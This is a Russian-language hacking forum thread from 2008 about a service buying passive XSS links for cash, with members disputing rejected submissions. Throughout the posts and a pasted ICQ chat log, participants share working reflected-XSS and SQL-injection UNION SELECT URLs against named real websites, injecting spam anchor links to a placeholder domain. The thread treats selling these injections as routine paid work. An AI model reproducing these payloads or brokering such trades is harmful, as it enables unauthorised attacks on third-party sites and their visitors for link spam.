Скупка пассивных Xss: до 0.25$ за ссылку.

Discussion in 'Разное - Покупка, продажа, обмен' started by Fan, 16 Mar 2008.

  1. void //tPORt

    void //tPORt New Member

    Joined:
    19 Feb 2008
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    Динамят вас, еще не поняли чтоле
     
  2. unixfan

    unixfan Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    35
    Likes Received:
    4
    Reputations:
    5
    0nep@t0p, случаем хсс у тебя не того вида, что я показал в предыдущем сообщении? ;)
     
  3. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,937
    Likes Received:
    805
    Reputations:
    224
    Выложи пример xss которые посчитали неживыми
     
  4. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    141
    Likes Received:
    216
    Reputations:
    17
    2 Kaimi
    Ссылки были правильного вида, все одинаковые, и везде в теле страницы отображался TESTANCHOR, но только 3 из них заапрувили, а остальные ( совершенно одинаковые, найденные через одну и ту же багу ) посчитали неживыми, и саппорт не отвечает =/
    2 unixfan
    По-моему именно такого вида ссылки и нужны
    2 void //tPORt
    Ну по крайней мере первые 5 центов, заработанные до введения функции баланса, были исправно высланы на wm кошелек ^_^
     
    #24 0nep@t0p, 18 Mar 2008
    Last edited: 18 Mar 2008
  5. Fan

    Fan New Member

    Joined:
    11 Apr 2005
    Messages:
    4
    Likes Received:
    4
    Reputations:
    0
    Цитата

    "ВНИМАНИЕ!
    К оплате принимаются ссылки только в таком виде:
    http://majordomo.ru/order/domenfree.php?n=%3Ca%20href=http://TESTDOMAIN%3ETESTANCHOR%3C/a%3E&z=spb.ru
    Т.е. наличие TESTDOMAIN и TESTANCHOR в тексте ссылки обязательно. В противном случае сервис оставляет за собой право не оплачивать ссылку."

    Ваши ссылки были sql-inj, с кодированым текстом
    http://www.wellness-hall.ru/news.php?num=-4+union+select+1,2,0x3C6120687265663D687474703A2F2F54455354444F4D41494E3E54455354414E43484F523C2F613E,4,5/*
     
    #25 Fan, 18 Mar 2008
    Last edited: 18 Mar 2008
  6. Fan

    Fan New Member

    Joined:
    11 Apr 2005
    Messages:
    4
    Likes Received:
    4
    Reputations:
    0
    представляет
     
  7. void //tPORt

    void //tPORt New Member

    Joined:
    19 Feb 2008
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    2 0nep@t0p
    Когда накопицо нормальное количество xss они из ста будуд всегда принемать 3, а как думоешь что они будуд делать с остальными? Удалять их? Да так же будуд юзать, только не заплатив за них тому, кто их преслал.
     
  8. Fan

    Fan New Member

    Joined:
    11 Apr 2005
    Messages:
    4
    Likes Received:
    4
    Reputations:
    0
    Выигрывать копейки, проигрывая в количестве нормальных юзеров - нам не выгодно.
    Все кто добавляет в нормальном виде как сказано в правилах - всем платим.
    Политика сервиса не обсуждается, правила есть правила. Кому не нравится - может не сотрудничать.
     
  9. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    57
    Likes Received:
    169
    Reputations:
    159
    С парнями приятно работать, все по честноку, все ваши проблемы связаны с невнимательностью а не проблемами сервиса.​
     
  10. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    141
    Likes Received:
    216
    Reputations:
    17
    2 Fan
    Все бы правильно, вот только зачем вы тогда аппрувили мои самые первые ссылки с закодированным тесктом, это раз
    А во-вторых, вот отрывки логов наших переговоров в асе -
    Code:
    Anger (22:48:00 16/03/2008)
    дело вот в чем - вам обязательно нужно чтобы в тексте ссылки присутствовало http://TESTDOMAIN%3ETESTANCHOR%3C/a%3E ?
    
    
    10402 (22:48:50 16/03/2008)
    нам нужно чтобы ссылка с доменом TESTDOMAIN и TESTANCHOR живой отображалась на вашем сайте
    
    
    Anger (22:49:06 16/03/2008)
    или важно, чтобы на самой странице отображалось TESTANCHOR а сам текст ссылки не важен ?
    
    
    10402 (22:49:09 16/03/2008)
    например как тут
    
    
    10402 (22:49:09 16/03/2008)
    http://www.1c.ru/rus/partners/goodsearch.jsp?text=%22%3E%3Ca%20href=http://TESTDOMAIN%3ETESTANCHOR%3C/a%3E
    
    
    Anger (22:49:19 16/03/2008)
    ок, ясно
    
    
    10402 (22:49:20 16/03/2008)
    > или важно, чтобы на самой странице отображалось TESTANCHOR а сам текст ссылки не важен ?
    [color=darkyellow]именно так[/color]
    
    
    Anger (22:49:49 16/03/2008)
    я сейчас кину пример, а вы посмотрите подойдет он или нет, ок ? :)
    
    
    10402 (22:49:54 16/03/2008)
    сейчас движок правим, добавим функцию баланса.
    выплаты чуть задержутся, будут ближе к ночи по мск.
    удачной работы)
    
    
    Anger (22:50:08 16/03/2008)
    я читал на форуме ачата =)
    
    
    10402 (22:50:57 16/03/2008)
    ок
    
    
    10402 (22:50:59 16/03/2008)
    =)
    
    
    Anger (22:51:25 16/03/2008)
    к примеру вот - http://www.wellness-hall.ru/news.php?num=-4+union+select+1,2,0x3C6120687265663D687474703A2F2F54455354444F4D41494E3E54455354414E43484F523C2F613E,4,5/*
    
    
    Anger (22:51:31 16/03/2008)
    подойдет ?
    
    
    10402 (22:52:07 16/03/2008)
    [color=darkyellow]угу :)[/color]
    ...
    
    
    
    10402 (17:49:15 18/03/2008)
    ВНИМАНИЕ!
    К оплате принимаются ссылки только в таком виде:
    http://majordomo.ru/order/domenfree.php?n=%3Ca%20href=http://TESTDOMAIN%3ETESTANCHOR%3C/a%3E&z=spb.ru
    Т.е. наличие TESTDOMAIN и TESTANCHOR в тексте ссылки обязательно. В противном случае сервис оставляет за собой право не оплачивать ссылку.
    
    
    Anger (17:49:32 18/03/2008)
    хммм, так вы же вчера сами говорили
    
    
    Anger (17:49:49 18/03/2008)
    что и скуль инж принимается
    
    
    Anger (17:50:14 18/03/2008)
    Anger (22:51:25 16/03/2008)
    к примеру вот - http://www.wellness-hall.ru/news.php?num=-4+union+select+1,2,0x3C6120687265663D687474703A2F2F54455354444F4D41494E3E54455354414E43484F523C2F613E,4,5/*
    
    
    Anger (22:51:31 16/03/2008)
    подойдет ?
    
    
    10402 (22:52:07 16/03/2008)
    угу :)
    
    
    10402 (17:50:29 18/03/2008)
    цитатту будьте добры
    
    
    Anger (17:50:39 18/03/2008)
    выше
    
    
    Anger (17:51:15 18/03/2008)
    ?
    
    
    10402 (17:51:53 18/03/2008)
    правила приема есть на сайте, я смотрю исключительно есть ли живая ссылка или нет. тут есть.
    
    
    Anger (17:52:33 18/03/2008)
    адрес сайта, где правила приема ?
    
    
    10402 (17:53:17 18/03/2008)
    antichat.ru
    
    
    10402 (17:53:29 18/03/2008)
    http://forum.antichat.ru/threadnav64452-1-10.html
    
    
    10402 (17:53:30 18/03/2008)
    первый топик
    
    
    10402 (17:53:34 18/03/2008)
    читаем внимательно
    
    
    Anger (17:53:37 18/03/2008)
    ну давайте я вам кину пару ссылок, которые вы незаапрувили, но тем  не менее в стрраницах есть ссылка на тэстдомайн
    
    
    10402 (17:53:53 18/03/2008)
    скидывай
    
    
    Anger (17:54:17 18/03/2008)
    сейчас, зайду... джпиарэс знаете ли :)
    
    
    10402 (17:55:32 18/03/2008)
    ок
    
    
    Anger (17:57:57 18/03/2008)
    http://team-rs.ru/member.php?id=-4%2527+union+select+1,2,3,4,5,6,0x3C6120687265663D687474703A2F2F54455354444F4D41494E3E54455354414E43484F523C2F613E,8,9,10/*      $0.05     declined
    Не живая ссылка. Ссылка должна отображаться в содержании сайта.
    
    
    Anger (17:58:00 18/03/2008)
    http://rus-waphost.ru/news/komm.php?ides=1'%20union+select+1,2,0x3C6120687265663D687474703A2F2F54455354444F4D41494E3E54455354414E43484F523C2F613E,4,5/*      $0.05     declined
    Не живая ссылка. Ссылка должна отображаться в содержании сайта.
    
    
    10402 (17:58:28 18/03/2008)
    ну
    
    
    10402 (17:59:26 18/03/2008)
    кодированный текст
    
    
    Anger (17:59:34 18/03/2008)
    они рабочие, при переходе на них на странице отображается TESTANCHOR с ссылкой на testdomain, но вы почему то их посчитали их неживыми
    
    
    Anger (17:59:55 18/03/2008)
    вы же сами говорили что главное, не ссылка, а надпись в теле страницы
    
    
    Anger (18:01:30 18/03/2008)
    тем более некоторые ссылки тоже были закодированы но вы их купили
    
    
    Anger (18:02:24 18/03/2008)
    ау
    
    
    10402 (18:02:30 18/03/2008)
    [color=darkyellow]косяк модераторов, потом им сказали чтобы такие не апрувили[/color]
    
    
    Anger (18:03:40 18/03/2008)
    ну тогда хотя бы запрувте мои, ведь ВЫ же сами сказали что такие принимаются позавчера, а сегодня говорите, что - нет, это не есть хорошо =/
    
    
    10402 (18:04:21 18/03/2008)
    добавляйте в нормальном виде - заапрувим с удовольствием
    
    
    Anger (18:06:19 18/03/2008)
    ну последние закодированные примите, ведь я не был предупрежден что такие не принимаются, вы сами дали добро на закодированные ссылки, а если вы вчера говорили одно, а сегодня другое, то это уже обман
    
    Это что за нафиг, если сегодня одно, а завтра другое ? Вы - поддержка и должны отвечать за слова.
     
  11. Fan

    Fan New Member

    Joined:
    11 Apr 2005
    Messages:
    4
    Likes Received:
    4
    Reputations:
    0
    Сапорт не модер, принимать или нет - решает модер.
    Сапорт помогает в технических проблемах
    Решения модераторов не обсуждаются, если ссылка не проходит по правилам.
    Не нравится сервис - не пользуйтесь. По вашей просьбе - без проблем забаним ваш аккаунт.
     
  12. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    1,076
    Likes Received:
    527
    Reputations:
    204
    Все нормально!
    Общался с саппортом... Что бы не было лишних вопросов то могу сказать, что ссылки такого вида принимаются: _http://www.bankpodarkov.ru/product.php?id=35%22%3E%22%3E%3Ca%20href=http://TESTDOMAIN%3ETESTANCHOR%3C/a%3E&z=spb.ru

    Сейчас просто с сервером что-то, да и народу много и из-за этого пополнение баланса проходи долго!!!
     
  13. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    141
    Likes Received:
    216
    Reputations:
    17
    2 Fan
    Так если ты саппорт, а не модер, тогда почему ты принимал решение аппрувить кодированные ссылки, или нет ?
    P.S. А если бы ссылка была не закодирована, но xss проводилась бы через скуль инъекцию вы бы приняли ?
     
    #33 0nep@t0p, 18 Mar 2008
    Last edited: 18 Mar 2008
  14. Fan

    Fan New Member

    Joined:
    11 Apr 2005
    Messages:
    4
    Likes Received:
    4
    Reputations:
    0
    Покажи пример.
     
  15. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    141
    Likes Received:
    216
    Reputations:
    17
    For example - http://www.goodcompany.ru/?action=article&id=-191'+union+select+'%3Ca%20href=http://TESTDOMAIN%3ETESTANCHOR%3C/a%3E',2,3,4,5,6,7,8,9,10/*
     
  16. Fan

    Fan New Member

    Joined:
    11 Apr 2005
    Messages:
    4
    Likes Received:
    4
    Reputations:
    0
    стукни в асю, если предоставишь те 100, что задеклайнили, сразу в таком формате - купим. только не через сайт, а отдельным списком.
     
  17. Sharingan

    Sharingan Elder - Старейшина

    Joined:
    5 May 2007
    Messages:
    159
    Likes Received:
    148
    Reputations:
    16
    че то ваш сап молчит, и его нету
     
  18. Fan

    Fan New Member

    Joined:
    11 Apr 2005
    Messages:
    4
    Likes Received:
    4
    Reputations:
    0
    сап онлайн райт нау
     
  19. Don1=2

    Don1=2 Member

    Joined:
    10 Sep 2007
    Messages:
    55
    Likes Received:
    51
    Reputations:
    -19
    я просто рыдаю :DDDD
    короче нафиг эту контору, ниче им слать не буду =) гемора больше чем денег

    З.Ы. И не удаляйте мой пост, как сделали в прошлый раз.
     
  20. Fan

    Fan New Member

    Joined:
    11 Apr 2005
    Messages:
    4
    Likes Received:
    4
    Reputations:
    0
    Цены не обсуждаются. Сабдомен и домен принципиально разные вещи.
    Контора искренне рада за ваше благополучное материальное положение.
     
Loading...